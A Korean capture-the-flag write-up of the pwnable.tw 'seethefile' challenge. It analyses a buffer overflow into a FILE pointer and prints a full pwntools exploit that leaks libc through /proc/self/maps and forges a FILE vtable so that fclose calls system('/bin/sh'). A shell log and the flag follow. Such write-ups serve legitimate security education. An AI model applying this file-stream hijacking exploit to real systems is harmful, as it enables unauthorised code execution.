본문으로 바로가기

Pwnable.tw seethefile ( 250 pts )

Summary

  • /proc/self/maps

  • FSOP

    • Fake IO_file


Analysis

main에서는 open / read / write / close / exit 총 5개의 기능을 한다.


openfile()

int openfile()
{
 int result; // eax

 if ( fp )
{
   puts("You need to close the file first");
   result = 0;
}
 else
{
   memset(magicbuf, 0, 0x190u);
   printf("What do you want to see :");
   __isoc99_scanf("%63s", filename);
   if ( strstr(filename, "flag") )
  {
     puts("Danger !");
     exit(0);
  }
   fp = fopen(filename, "r");
   if ( fp )
     result = puts("Open Successful");
   else
     result = puts("Open failed");
}
 return result;
}

파일이 한번도 생성이 안됐으면 함수를 즉시 종료하고, 파일이 존재한다면 아래분기로 들어간다.

원하는 파일의 이름을 입력하라고 하고, 해당 파일을 fopen한다.

이때, r옵션을 사용하여 현재 존재하고 있는 파일만 열어주고, flag를 필터링한다.


readfile()

int readfile()
{
 int result; // eax

 memset(magicbuf, 0, 0x190u);
 if ( !fp )
   return puts("You need to open a file first");
 result = fread(magicbuf, 399u, 1u, fp);
 if ( result )
   result = puts("Read Successful");
 return result;
}

파일을 연 상태에서 readfile()함수를 호출하면, magicbuf에 파일의 내용을 400만큼 긁어온다.


writefile()

int writefile()
{
 if ( strstr(filename, "flag") || strstr(magicbuf, "FLAG") || strchr(magicbuf, '}') )
{
   puts("you can't see it");
   exit(1);
}
 return puts(magicbuf);
}

magicbuf에 저장되어있는 값을 출력시켜준다.


closefile()

int closefile()
{
 int result; // eax

 if ( fp )
   result = fclose(fp);
 else
   result = puts("Nothing need to close");
 fp = 0;
 return result;
}

파일을 닫는다.


exit()

      case 5:
       printf("Leave your name :");
       __isoc99_scanf("%s", &name);
       printf("Thank you %s ,see you next time\n", &name);
       if ( fp )
         fclose(fp);
       exit(0);
       return;

scanf("%s",&name);으로 입력받은 후 파일을 닫는다.

여기서 취약점이 발생한다.

name0x0804B260에 위치해있고, fp0x0804B280에 위치해있다.

따라서 fp를 변조할 수 있고, 여기서 fake file struct를 만들어서 FSOP를 할 수 있다.

scanf("%s",&name)으로 입력이 끝나면 fclose()를 호출하므로, `IO_file_jump vtable부분의 fclose()system()으로 변조시킨다.

그럼 fclose()대신 system()이 실행될 것이다.


Exploit

from pwn import *

#context.log_level = "debug"

e = ELF("./seethefile")
libc = ELF("./libc_32.so.6")
#libc = e.libc

r = remote("chall.pwnable.tw",10200)
#r = process("./seethefile")

def fopen(filename):
r.sendlineafter("Your choice :","1")
r.sendlineafter("see :",filename)

def fread():
r.sendlineafter("Your choice :","2")

def fwrite():
r.sendlineafter("Your choice :","3")

def fclose():
r.sendlineafter("Your choice :","4")

def fexit(name):
r.sendlineafter("Your choice :","5")
r.sendlineafter("Leave your name :",name)

fopen("/proc/self/maps")

fread()
fread()
fwrite()

r.recvline()
#r.recvline()

libc_base = int(r.recv(8),16)
system = libc_base + libc.symbols["system"]
log.info("libc_base : " + hex(libc_base))
log.info("system : " + hex(system))

name = 0x0804B260

IO_file = ""
IO_file += "/bin/sh\x00"
IO_file += p32(0) * 16
IO_file += p32(name)
IO_file += p32(0) * 18
log.info("IO_file len + Dummy : " + str(len(IO_file) + 0x24))
IO_file += p32(name + 188)

IO_jump = ""
IO_jump += p32(0) * 17
IO_jump += p32(system)

payload = ""
payload += "\x00" * 0x20
payload += p32(name + 0x24)
payload += IO_file
payload += IO_jump

pause()
fexit(payload)

r.interactive()

/proc/self/maps에는 현재 실행중인 프로그램의 정보가 나와있는데, vvmap명령을 쓰면 출력되는것이 이 부분이다.

따라서 이 부분을 통해서 libc_base를 leak할 수 있다.

libc_base를 leak한 후에는 fake file sturct를 만들어준다.


일단 fp의 내부 상황을 보면 아래와 같다.

0x804c410:  0xfbad2488  0x00000000  0x00000000  0x00000000
0x804c420: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c430: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c440: 0x00000000 0xf7fb2cc0 0x00000003 0x00000000
0x804c450: 0x00000000 0x00000000 0x0804c4a8 0xffffffff
0x804c460: 0xffffffff 0x00000000 0x0804c4b4 0x00000000
0x804c470: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c480: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c490: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4a0: 0x00000000 0xf7fb1ac0 0x00000000 0x00000000

여기서 0x0804c4a8는 0을 가르키는 포인터이다.

따라서 0을 가르키도록 적절히 값을 넣어두면 된다.


그리고 0xf7fb1ac0이부분은 IO_file_jump부분인데, 18번째 부분에 fclose()가 있다.

따라서 17번째 부분까지 Dummy를 채워주고 18번째 부분에 system()함수의 주소를 적어준다.

익스코드의 payload += p32(name + 0x24)요건 IO_file_plus를 가르키게 한다.

그리고 IO_file += p32(name + 188)IO_file_jump를 가르키게 한다.

따라서 IO_file_jump까지 값이 덮여써진다.


이렇게 system(fp)까지는 만들었다.

여기서 인자를 "/bin/sh" 로 넣어주어야 하는데, 인자는 IO_file_plus의 첫부분을 참조한다.

따라서 이 부분에 "/bin/sh"를 넣어주면 된다.

fake sturct만드는 부분 맨 앞에 IO_file += "/bin/sh\x00"요런 부분이 있다.


Flag

좀 신기했던게 쉘만 따면 끝이 아니라 루틴 하나를 더돌아야한다 ㅋㅋ.

이런거 너무 재밌당.

juntae@ubuntu:~/wargame/pwnable.tw/seethefile$ p ex.py 
[*] '/home/juntae/wargame/pwnable.tw/seethefile/seethefile'
  Arch:     i386-32-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x8048000)
[*] '/home/juntae/wargame/pwnable.tw/seethefile/libc_32.so.6'
  Arch:     i386-32-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10200: Done
[*] libc_base : 0xf7535000
[*] system : 0xf756f940
[*] IO_file len + Dummy : 184
[*] Paused (press any to continue)
[*] Switching to interactive mode
Thank you ,see you next time
$ cd /home/seethefile
$ ls -al
total 44
drwxr-xr-x 2 seethefile seethefile 4096 Jan 13 2017 .
drwxr-xr-x 4 root       root       4096 Jan 13 2017 ..
-r-------- 1 flag       flag         29 Jan 13 2017 flag
-r-sr-xr-x 1 flag       flag       9184 Jan 13 2017 get_flag
-rw-rw-r-- 1 seethefile seethefile   624 Jan 13 2017 get_flag.c
-rwxr--r-- 1 seethefile seethefile   70 Jan 13 2017 run.sh
-rwxrwxr-x 1 seethefile seethefile 12248 Jan 13 2017 seethefile
$ cat get_flag.c
#include <unistd.h>
#include <stdio.h>

int read_input(char *buf,unsigned int size){
  int ret ;
  ret = read(0,buf,size);
  if(ret <= 0){
      puts("read error");
      exit(1);
  }
  if(buf[ret-1] == '\n')
      buf[ret-1] = '\x00';
  return ret ;
}

int main(){
  char buf[100];
  setvbuf(stdin,0,2,0);
  setvbuf(stdout,0,2,0);
  printf("Your magic :");
  read_input(buf,40);
  if(strcmp(buf,"Give me the flag")){
      puts("GG !");
      return 1;
  }
  FILE *fp = fopen("/home/seethefile/flag","r");
  if(!fp){
      puts("Open failed !");
  }
  fread(buf,1,40,fp);
  printf("Here is your flag: %s \n",buf);
  fclose(fp);
}
$ ./get_flag
Your magic :$ Give me the flag
Here is your flag: FLAG{F1l3_Str34m_is_4w3s0m3}

$
[*] Interrupted
[*] Closed connection to chall.pwnable.tw port 10200

끗~!